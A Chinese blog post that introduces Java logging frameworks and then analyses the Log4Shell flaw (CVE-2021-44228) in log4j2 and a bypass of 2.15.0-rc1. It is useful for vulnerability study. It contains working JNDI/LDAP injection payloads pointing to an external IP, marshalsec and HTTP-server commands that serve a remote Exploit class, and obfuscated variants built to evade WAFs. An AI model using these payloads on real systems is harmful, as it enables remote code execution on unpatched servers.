java日志体系

本部分主要讲解Java日志体系方便理解log4j,logback,log4j2,jul,jcl,slf4j之间的关系,Java日志体系来说相对混乱,经常可能出现"日志打不出","日志jar包冲突"等之类的问题,所以说了解Java日志体系是很有必要的

常见的java日志

名称 jar包 描述
log4j log4j-1.2.17.jar 早期常用的日志插件
logback logback-core,logback-classic,logback-access 一套日志组件的实现,性能优于log4j(slf4j阵营)
log4j2 log4j,log4-api,log4j-core apache开发的一致log4j的升级产品
java.util.logging jdk(JUL) java1.4以来的官方日志

除了上述以外还有slf4j,jcl(java commons-logging)日志。这俩种日志方案其实本质是基于上面表格的日志方案,也就是说这俩种方案仅仅是日志的门面而已。值得一提的是jcl(commons-logging)已经很久没有更新了,目前的最新版本是2015年的1.2

Jcl机制

Spring为什么使用Jcl门面模式来做日志体系,而不是使用log4j或者logback这种呢?

  • 我们假设spring使用logback,java应用使用log4j2。那么当我们查看日志时候就需要分开查看,spring看logback;java应用看log4j2。这样的话势必会造成日志混乱

  • 如果spring使用的日志框架是jcl,查看日志的时候jcl会查找java应用的日志,比如:log4j,logback。这就是门面模式的好处

jcl(commons-logging)源码分析

我这里使用的是commons-logging-1.2.jar,LogFactoryImplimage-20220619111813809

  • Log4JLogger:包装了org.apache.log4j.Logger。

  • Jdk14Logger:包装了JDK1.4的java.util.logging.Logger。

  • Jdk13LumberjackLogger:包装了JDK1.3及以前版本的java.util.logging.Logger。

  • SimpleLog:自己实现的一个简单日志。

我们的应用中如果没有引入额外的java日志体系,jcl会找到jdk自带的java日志体系:java.util.logging。如果引入像log4j这样,jcl将会找到log4j的java日志

只导入jcl的依赖,日志情况

public class Test {
    public static void main(String[] args) {
        //java common-logging
        Log log = LogFactory.getLog("jclLog");
        log.info("日志信息");
    }
}

image-20220619115159458

导入jcl依赖和log4j依赖image-20220619115422245

slf4j机制

slf4j主要有俩个重要概念:适配和桥接

适配

作用:使slf4j可以打印java日志(log4j,log4j2,logback....)

slf4j不能直接打印java日志,需要添加适配器(相应java日志的适配器包)来打印java日志。以下是slf4j支持的java日志和相应的适配器img

这里同时也配上官网的适配规则,更加详细log4j2

当slf4j配置多个适配器的时候java日志如何选择:

  • slf4j适配了log4j还适配log4j2

:会出现报错,所以我们只能选择一个适配

  • slf4j适配了jcl然后引入了log4j

:正常,slf4j-->jcl-->log4j

桥接

作用:当应用使用不同的java日志的使用,slf4j通过桥接来避免冲突,同时使用一个日志来打印结果。

例如有一个应用使用log4j,我们本身使用logback,我们可以使用slf4桥接log4j打印日志来避免冲突,使得log4j最后以logback形式来输出img

Reference

b站鲁班大叔-JAVA的日志体系

java日志体系总结

0x01 前言

log4j2 漏洞简介

log4j2介绍

log4j是Java的日志记录工具,log4j由2001年开发诞生,后来Log4j团队创建了Log4j的继任者Apache Log4j2。它是对Log4j的升级,它比其前身Log4j 1.x 提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback体系结构中的一些固有问题。log4j2中文

安全漏洞(摘取log4j官网)

2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。该漏洞也就是:CVE-2021-44228

CVE-2021-44228:Apache Log4j2 JNDI 功能无法防止攻击者控制的 LDAP 和其他 JNDI 相关端点。Log4j2 允许正在记录的数据中的 Lookup 表达式暴露 JNDI 漏洞以及其他问题,以供其输入被记录的最终用户利用。

  • 严重等级:Critical
  • Basic CVSS 评分:10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • 影响版本:all versions from 2.0-beta9 to 2.14.1

Log4j 1.x 缓解措:

Log4j 1.x 没有查找,因此风险较低。使用 Log4j 1.x 的应用程序只有在其配置中使用 JNDI 时才容易受到这种攻击。已针对此漏洞提交了一个单独的 CVE (CVE-2021-4104)。缓解措施:审核您的日志记录配置以确保它没有配置 JMSAppender。没有 JMSAppender 的 Log4j 1.x 配置不受此漏洞的影响。

Log4j 2.x 缓解措施:

实施以下缓解技术之一:

  • 升级到 Log4j 2.3.1(对于 Java 6)、2.12.3(对于 Java 7)或 2.17.0(对于 Java 8 及更高版本)。
  • 否则,在 2.16.0 以外的任何版本中,您可以JndiLookup从类路径中删除该类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

请注意,简单地删除 JndiLookup 只能解决 CVE-2021-44228 中暴露的两个错误之一。这仍然允许用户在输入字段中输入查找字符串并使它们被评估,这可能会导致 StackOverflowExceptions 或可能将私有数据暴露给提供日志访问权限的任何人。虽然下面历史部分列出的缓解措施在某些情况下有所帮助,但唯一真正的解决方案是升级到上面第一个项目符号中列出的版本之一(或更新的版本)。

请注意,只有 log4j-core JAR 文件受此漏洞影响。仅使用 log4j-api JAR 文件而不使用 log4j-core JAR 文件的应用程序不受此漏洞的影响。

另请注意,Apache Log4j 是唯一受此漏洞影响的日志服务子项目。Log4net 和 Log4cxx 等其他项目不受此影响。

本文主分析CVE-2021-44228,2.15.0-rc1以及2.15.0-rc2的思考和绕过

CVE-2021-45046可以参考这一篇文章Log4j2 CVE-2021-45046 鸡肋RCE漏洞复现与浅析

log4j2事件

log4j2事件中心的LOG4J2-3201事件是整个2021年log4j2事件的开端,提到了需要限制Jndi以及LDAP协议log4j2

下面的评论中也提到了相关的版本变动image-20230204152403676

log4j2的默认分支是release-2.x,锁定到其中的版本补丁代码,在JndiManager.java中的lookup处加了if判断image-20230204152719239

通过补丁相关的信息就能很方便的分析漏洞了,首先通过查阅官方文档了解lookup的用途:

Lookups

Log4j2的Lookups功能提供了一种在任意位置向 Log4j 配置添加值的方法。 它们是实现 StrLookup 接口的特定类型的插件。 有关如何在配置文件中使用查找的信息,请参见配置页面的属性替换部分。log4j2

大致就是通过Lookups可以实现从其他地方为 log4j 配置文件获取值,可以从Date,Java,JNDI,Spring,Environment等地方获取值然后记录到日志中。

JNDI Lookup

从Log4j 2.17.0开始,JNDI操作要求将log4j2.enableJndiLookup=true设置为系统属性或相应的环境变量,以便此查找起作用。请参阅 enableJndiLookup系统属性。JndiLookup 允许通过 JNDI 检索变量。 默认情况下,密钥将以 java:comp/env/ 为前缀,但是如果密钥包含“:”,则不会添加任何前缀。

<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
  </PatternLayout>
</File>

或者直接在调用Logger对象从jndi处获取值

        Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);
        logger.error("${jndi:logging/context-name}");

log4j2 简单使用

官网也推了这俩个教程:详解log4j2(上) - 从基础到实战 Log4j2日志记录框架的使用教程与简单实例

log4j2日志系统的使用通常是 LogManager.getLogger() 方法来获取一个 Logger 对象,并调用其 debug/info/error/warn/fatal/trace/log 等方法记录日志等信息。

log4J自定义的标准日志级别:ALL < DEBUG < INFO < WARN < ERROR < FATAL < OFF

Standard Level intLevel
OFF 0
FATAL 100
ERROR 200
WARN 300
INFO 400
DEBUG 500
TRACE 600
ALL Integer.MAX_VALUE

0x02 漏洞复现

CVE-2021-44228

简单复现

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    </dependencies>

准备恶意的jndi服务器

 java -jar jndi.jar -C calc -A 39.105.8.77

log4j2加入日志

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Test {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);
        logger.error("${jndi:ldap://39.105.8.77:1389/m4a3tp}");
    }
}

最终的效果image-20230204182326232

漏洞分析

在Runtime.exec处下端点分析函数调用栈,得到的调用栈如下:

exec:347, Runtime (java.lang)
<clinit>:-1, ExecTemplateJDK8
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:7, Test

上面也查看过log4j2.15的补丁打在JndiManager#lookup处,复现环境中的lookup没有任何判断,直接会调用this.context.lookup()

import javax.naming.Context;
import javax.naming.InitialContext;

public class JndiManager extends AbstractManager {
    private static final JndiManagerFactory FACTORY = new JndiManagerFactory();
    private final Context context;

    private JndiManager(final String name, final Context context) {
        super((LoggerContext)null, name);
        this.context = context;
    }
    .....
    public <T> T lookup(final String name) throws NamingException {
        return this.context.lookup(name);
    }
    ......
}

接下来按照su18大佬的思路来分析gadgets Log4j2结构

获取Logger,日志记录

Logger 是通过调用LogManager.getLogger来创建的。

//Logger logger1 = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);
Logger logger2 = LogManager.getLogger("GoogleCTF.class");
logger2.error("123456");

log4j2默认会在classpath目录下寻找log4j.json、log4j.jsn、log4j2.xml等名称的文件,如果都没有找到,则会按默认配置输出。LogManager.getLoggeer会先对log4j2.xml中的PatternLayout进行解析,然后在记录日志的时候输出控制台。先放log4j2.xml,这里与整体的漏洞调试过程没有任何的关系,只是想做完善。

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
    <Appenders>
        <Console name="Console" target="SYSTEM_ERR">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${java:version} - %msg %n">
            </PatternLayout>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="debug">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

输出结果:

 22:42:00.162 ERROR GoogleCTF executing Java version 1.8.0_65 - 123456 

LogManager.getLogger获取到log42.xml配置后会对PatternLayout格式部分进行解析,如果PatternLayout中有lookup的相关表达式会调用的Strlookup进行处理。以下是调用栈,其实这里可以发现没有调用org.apache.logging.log4j.core.pattern.MessagePatternConverter#format(message传参),因此也就没有低版本lookups和nolookups的限制,这里也就是说明了官方为什么不建议再这俩点处设防

lookup:207, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
visit:49, PluginBuilderAttributeVisitor (org.apache.logging.log4j.core.config.plugins.visitors)
injectFields:185, PluginBuilder (org.apache.logging.log4j.core.config.plugins.util)
build:121, PluginBuilder (org.apache.logging.log4j.core.config.plugins.util)
createPluginObject:1000, AbstractConfiguration (org.apache.logging.log4j.core.config)
createConfiguration:940, AbstractConfiguration (org.apache.logging.log4j.core.config)
createConfiguration:932, AbstractConfiguration (org.apache.logging.log4j.core.config)
createConfiguration:932, AbstractConfiguration (org.apache.logging.log4j.core.config)
doConfigure:551, AbstractConfiguration (org.apache.logging.log4j.core.config)
initialize:241, AbstractConfiguration (org.apache.logging.log4j.core.config)
start:287, AbstractConfiguration (org.apache.logging.log4j.core.config)
setConfiguration:627, LoggerContext (org.apache.logging.log4j.core)
reconfigure:700, LoggerContext (org.apache.logging.log4j.core)
reconfigure:717, LoggerContext (org.apache.logging.log4j.core)
start:272, LoggerContext (org.apache.logging.log4j.core)
getContext:155, Log4jContextFactory (org.apache.logging.log4j.core.impl)
getContext:47, Log4jContextFactory (org.apache.logging.log4j.core.impl)
getContext:196, LogManager (org.apache.logging.log4j)
getLogger:599, LogManager (org.apache.logging.log4j)
<clinit>:11, GoogleCTF

Logger继承自AbstractLogger,在调用栈中可以发现其实际上会调⽤AbstractLogger.java中的public void error()⽅法,然后接着调用logIfEnabled 方法来判断是否符合⽇志记录的等级要求,如果符合,那么会进⾏ logMessage 操作:image-20230205011059788

AbstractLogger#isEnabled-->SimpleLogger#isEnabled中有关于日志等级的判断(不过也有的师傅定位到了filter中,最后代码阐述的含义都是一样的)

    public boolean isEnabled(final Level testLevel, final Marker marker, final Object msg, final Throwable t) {
        return this.level.intLevel() >= testLevel.intLevel();
    }

this.level是ERROR,testlevel是我们记录的日志的级别。我们需要将日志记录级别设置为ERROR或比ERROR级别高,才可以触发logMessage。从官网给出的intLevel级别值看来,级别原高值越低

Standard log levels built-in to Log4J

Standard Level intLevel
OFF 0
FATAL 100
ERROR 200
WARN 300
INFO 400
DEBUG 500
TRACE 600
ALL Integer.MAX_VALUE

但是官方中也提到了我们也可以在代码中自定义日志级别。Log4J 2 支持自定义日志级别。 可以在代码或配置中定义自定义日志级别。 要在代码中定义自定义日志级别,请使用 Level.forName() 方法。 此方法为指定名称创建一个新级别。 定义日志级别后,您可以通过调用 Logger.log() 方法并传递自定义日志级别来记录此级别的消息:

// This creates the "VERBOSE" level if it does not exist yet.
final Level VERBOSE = Level.forName("VERBOSE", 550);

final Logger logger = LogManager.getLogger();
logger.log(VERBOSE, "a verbose message"); // use the custom VERBOSE level

// Create and use a new custom level "DIAG".
logger.log(Level.forName("DIAG", 350), "a diagnostic message");

// Use (don't create) the "DIAG" custom level.
// Only do this *after* the custom level is created!
logger.log(Level.getLevel("DIAG"), "another diagnostic message");

// Using an undefined level results in an error: Level.getLevel() returns null,
// and logger.log(null, "message") throws an exception.
logger.log(Level.getLevel("FORGOT_TO_DEFINE"), "some message"); // throws exception!

所以说这样也可以触发日志记录的

        Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);
        //logger.error("${jndi:ldap://39.105.8.77:1389/7fxqtm}");
        logger.log(Level.forName("DIAG", 150), "${jndi:ldap://39.105.8.77:1389/7fxqtm}");

另外我们还可以修改initLevel的值,我们将initLevel的值修改为500 DEBUG级别,这样DEBUG和DEBUG级别高的都可以触发日志记录 log4j2 rce解惑

        Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);
        //logger.error("${jndi:ldap://39.105.8.77:1389/7fxqtm}");
        //logger.log(Level.forName("DIAG", 150), "${jndi:ldap://39.105.8.77:1389/7fxqtm}");
        Collection<org.apache.logging.log4j.core.Logger> current = LoggerContext.getContext(false).getLoggers();
        Collection<org.apache.logging.log4j.core.Logger> notcurrent = LoggerContext.getContext().getLoggers();
        Collection<org.apache.logging.log4j.core.Logger> allConfig = current;
        allConfig.addAll(notcurrent);
        for (org.apache.logging.log4j.core.Logger log:allConfig){
            log.setLevel(Level.DEBUG);
        };
        logger.debug("${jndi:ldap://39.105.8.77:1389/7fxqtm}");

消息格式化

org.apache.logging.log4j.core.pattern.MessagePatternConverter#format 这里的noLookups为false,意思应该是开启lookup服务image-20230206204625838

该noLookups是在MessagePatternConverter的构造方法中进行配置的image-20230206205205607

FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS值是在org.apache.logging.log4j.util.PropertiesUtil.Constants中配置的image-20230206210205674

如果将lookup关闭是不是就可以防止jndi呢? 官方是这样说的image-20230206211442717

具体怎么关闭以下这俩个变量可以参考log4j2 漏洞的系统变量缓解方法

字符替换

定位到org.apache.logging.log4j.core.pattern.MessagePatternConverter#format workingBuilder是对payload进行处理后的对象,debug调试的时候是01:35:41.295 [main] ERROR - ${jndi:ldap://39.105.8.77:1389/m4a3tp};offest是workingBuilder中$字符的偏移(即它的位置29)。这里如果遍历到字符是$且下一个字符是{,那么就会对workingBuilder进行截取,截取到的value其实就是${jndi:ldap://39.105.8.77:1389/m4a3tp}。然后进入到org.apache.logging.log4j.core.lookup.StrSubstitutor#replaceimage-20230205012030580

这里的nolookups,如果我们将其值设置为true就可以关闭lookup服务,resources/log4j2.xml中配置以下。使用这种策略可以关闭log4j2的jndi注入,但是官方并不推荐这种方式,因为还有其他攻击媒介... 这个前面说过,猜测就是不经过nolookups的检查

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="[%-level]%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

Lookup处理

org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute进行处理,这里的代码比较长,需要慢慢看,有关于绕waf相关的操作。

    private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                           List<String> priorVariables) {
        final StrMatcher prefixMatcher = getVariablePrefixMatcher();
        final StrMatcher suffixMatcher = getVariableSuffixMatcher();
        final char escape = getEscapeChar();
        final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher();
        final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();

        final boolean top = priorVariables == null;
        boolean altered = false;
        int lengthChange = 0;
        char[] chars = getChars(buf);
        int bufEnd = offset + length;
        int pos = offset;
        while (pos < bufEnd) {....}
        if (top) {
            return altered ? 1 : 0;
        }
        return lengthChange;
    }

首先是一些StrSubstitutor事先声明好的变量image-20230205223927893

首先进行一些变量处理image-20230205225115121

然后来看这个while循环,它会对payload中的字符进行处理

while (pos < bufEnd) {
    final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
    if (startMatchLen == 0) {
        pos++;
    } else if (pos > offset && chars[pos - 1] == escape) { ... } 
    else { ... }
}

prefixMatcher.isMath(chars,pos,offest,bufEnd),这里的chars数组就是payload转数组形式。isMath里的chars数组是[$,{],该函数的目的是判断pos以及它的下一个字符的位置是否是${,该返回值是chars数组的长度,当前pos没有匹配到就返回0

StrMather#isMatch(char[] buffer, int pos, int bufferStart, int bufferEnd)

public int isMatch(final char[] buffer, int pos, final int bufferStart, final int bufferEnd) {
    final int len = chars.length;
    if (pos + len > bufferEnd) {
        return 0;
    }
    for (int i = 0; i < chars.length; i++, pos++) {
        if (chars[i] != buffer[pos]) {
            return 0;
        }
    }
    return len;
}

prefixMatcher.isMatch(chars, pos, offset, bufEnd)处于while循环中,每次startMatchLen为0时(没有匹配到${),就会pos++继续循环。所以我们可以在${的前面添加任何的字符:,,xx,${jndi:ldap://39.105.8.77:1389/kpxcim} 诸如此类的payload都是可以的,

第二个if判断,escape变量是$,如果我们在匹配到${以后,pos前面的字符是$就会进入该判断,$${jndi:ldap://39.105.8.77:1389/kpxcim}

但是单纯这样是不会触发jndi,该部分会将chars前面的$字符给移去,但是pos值不会发生变化依旧是1,这就导致再次循环是找不到${。解决办法是再多加几个${。感觉下来其实和第一个没啥区别。

        while (pos < bufEnd) {
            final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
            if (startMatchLen == 0) {
                pos++;
            } else // found variable start marker
            if (pos > offset && chars[pos - 1] == escape) {
                // escaped
                buf.deleteCharAt(pos - 1);
                chars = getChars(buf);
                lengthChange--;
                altered = true;
                bufEnd--;
            } else {
                // find suffix
                ......
            }
        }

第三个判断逻辑:如果pos匹配到了payload的${并且pos前面不是$,就将进入最后的逻辑中。同样比较长逐个分析

// find suffix
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
while (pos < bufEnd) {
    if (substitutionInVariablesEnabled
        && (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
        // found a nested variable start
        nestedVarCount++;
        pos += endMatchLen;
        continue;
    }
    endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
    if (endMatchLen == 0) {
        pos++;
    }else{
        // found variable end marker
       if (nestedVarCount == 0){ ...... }
    nestedVarCount--;/k
    pos += endMatchLen;
    }
}

此时pos变量指向的payload中j的位置,然后第一个if会利用prefixMatcher.isMatch判断是否还有${字符,如果有的话nestedVarCount嵌套变量+1并将pos定位到下一个${,continue跳出本次循环进行下一次while。image-20230205145027626

接下来的if判断和endMatchLen=suffixMatcher.isMatch(chars, pos, offset, bufEnd)函数将定位payload中}的位置。也就是最里面的}位置

接下来的else中,依旧很长不过快结束了。nestedVarCount == 0说明它不是最外层的${},将先推回到最外层的}

    // found variable end marker
    if (nestedVarCount == 0) {
        String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
        if (substitutionInVariablesEnabled) {
            final StringBuilder bufName = new StringBuilder(varNameExpr);
            substitute(event, bufName, 0, bufName.length());
            varNameExpr = bufName.toString();
        }
        pos += endMatchLen;
        final int endPos = pos;

        String varName = varNameExpr;
        String varDefaultValue = null;

        if (valueDelimiterMatcher != null) { ..... }

        // on the first call initialize priorVariables
        if (priorVariables == null) {
            priorVariables = new ArrayList<>();
            priorVariables.add(new String(chars, offset, length + lengthChange));
        }

        // handle cyclic substitution
        checkCyclicSubstitution(varName, priorVariables);
        priorVariables.add(varName);

        // resolve the variable
        String varValue = resolveVariable(event, varName, buf, startPos, endPos);
        if (varValue == null) {
            varValue = varDefaultValue;
        }
        if (varValue != null) { .... }
        // remove variable from the cyclic stack
        priorVariables.remove(priorVariables.size() - 1);
        break;
    }
    nestedVarCount--;
    pos += endMatchLen;

pos定位到最外层的}位置以后,将最外层${}里的内容截取出来放入varNameExpr变量中,接着封装为bufName对象

然后对其再调用一次substitute(event, bufName, 0, bufName.length());,这就说明payload其实是支持套娃的,我们可以这样来构造payload:${jndi:ldap://${jndi:ldap://39.105.8.77:1389/kpxcim}39.105.8.77:1389/kpxcim}。这里就要稍微提一下,substitute函数并没有返回值那么它修改了什么变量呢?其实从下面的可以看出它修改了bufName,substitute函数的第二参数是由final关键字修饰的,怎么修改的往下面看。

接下来的很多其实都不用分析,我挑重点进行分析valueEscapeDelimiterMatcher是[:,,-] valueDelimiterMatcher是[:,-]image-20230206001545605

我们重点关于下面这部分代码,i其实是else部分中的一个while循环声明的变量,它其实也是遍历payload。如果payload中有:-会将:-前的部分存储到varName中,后面的部分会存储到varDefaultVaule

 else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
    varName = varNameExpr.substring(0, i);
    varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
    break;
}

resolveVariable(event, varName, buf, startPos, endPos)会继续进行log4j2注入的相关逻辑,所以说我们可以构造这样的payload${jndi:ldap://39.105.8.77:1389/kpxcim:-xxx}。如果resolveVariable处理的结果varValue为null,就会将varDefaultVaule赋值给varValue。然后通过buf.replace(startPos, endPos, varValue)函数将buf中startPos, endPos之间的位置修改为varValue,所以说payload还可以这样构造${${xx:-j}ndi:ldap://39.105.8.77:1389/kpxcim}

// resolve the variable
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
if (varValue == null) {
    varValue = varDefaultValue;
}
if (varValue != null) {
    // recursive replace
    final int varLen = varValue.length();
    buf.replace(startPos, endPos, varValue);
    altered = true;
    int change = substitute(event, buf, startPos, varLen, priorVariables);
    change = change + (varLen - (endPos - startPos));
    pos += change;
    bufEnd += change;
    lengthChange += change;
    chars = getChars(buf); // in case buffer was altered
}

JNDI查询

org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable image-20230206011820830

Log4j2会使用org.apache.logging.log4j.core.lookup.Interpolator类来代理所有的 StrLookup 实现类。也就是说在使用 Lookup 功能时,由 Interpolator 这个类来处理和分发。在初始化时创建了一个 strLookupMap ,将一些 lookup 功能关键字和处理类进行了映射,存放在这个 Map 中。image-20230206012230917

org.apache.logging.log4j.core.lookup.Interpolator#lookup 方法中,通过 : 作为分隔符来分隔 Lookup 关键字及参数,从strLookupMap 中根据关键字作为 key 匹配到对应的处理StrLookup类,并调用其 lookup 方法。另外我们可以看到strLookupMap中实际上还有其他的lookup,除了log4j2注入以外,我们是否还可以通过其余lookup做一些攻击呢?image-20230206012907826

org.apache.logging.log4j.core.lookup.JndiLookup#lookup中获取到JndiManager来处理lookup相关逻辑image-20230206013338701

org.apache.logging.log4j.core.net.JndiManager#lookup 这里就不用多说了直接InitialContext#lookup来触发jndi。后面的修复也是在这里

    public <T> T lookup(final String name) throws NamingException {
        return (T) this.context.lookup(name);
    }

2.15.0 rc1思考

自CVE-2021-44228曝光以后,官方给出了修复的新版本log4j2 2.15.0-rc1,修改部分文件来防御,但是依然可以绕过。log4j2 2.15.0-rc1发行文档,主要关注这俩条变化:

  • 在版本2.15.0之前,Log4j会自动解析message中包含的Lookups或其在Pattern Layout中的参数。但是该版本此行为不再是默认行为,必须通过指定 %msg{lookups}来启用。
  • 默认情况下,JNDI Lookup 被限制为仅支持 java、ldap 和 ldaps 协议。LDAP 也不再支持实现 Referenceable 接口的类,默认情况下将 Serializable 类限制为 Java 原始类,并且需要指定允许列表才能访问远程 LDAP 服务器。

官方给出的是源码包需要我们自己来编译打包。jdk8编译不太行,使用jdk8以上版本来编译。修改maven/conf/toolchains.xml Maven toolchains使用

  <toolchain>
    <type>jdk</type>
    <provides>
      <version>11</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>F:\JAVA\jdk11.0.17</jdkHome>
    </configuration>
  </toolchain>

切换好jdk以后mvn package -DskipTests=true来编译,因为涉及到的moudles比较多可以在pom.xml删除一部分,最后只需要log4j-api和log4j-core。

简单复现

需要开启lookup服务,一般没人会这样干吧,不过也有可能真的需要该服务。resources目录下创建log4j2.xml文件

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="[%-level]%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{lookups}%n"/>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="info">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

使用marshalsec搭建一个LDAP服务

java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://39.105.8.77:8080/ #Exploit" 1389

在ExportObject.class所在的开启监听端口

python3 -m http.server 8080

log4j2-2.15.0-rc1记录日志

        Logger logger = (Logger) LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);;
        logger.error("${jndi:ldap://39.105.8.77:1389/ Exploit}");

攻击成功image-20230207175610544

调用栈如下:

exec:347, Runtime (java.lang)
getObjectInstance:9, Exploit
getObjectInstance:194, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:257, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replaceIn:890, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:186, MessagePatternConverter$LookupMessagePatternConverter (org.apache.logging.log4j.core.pattern)
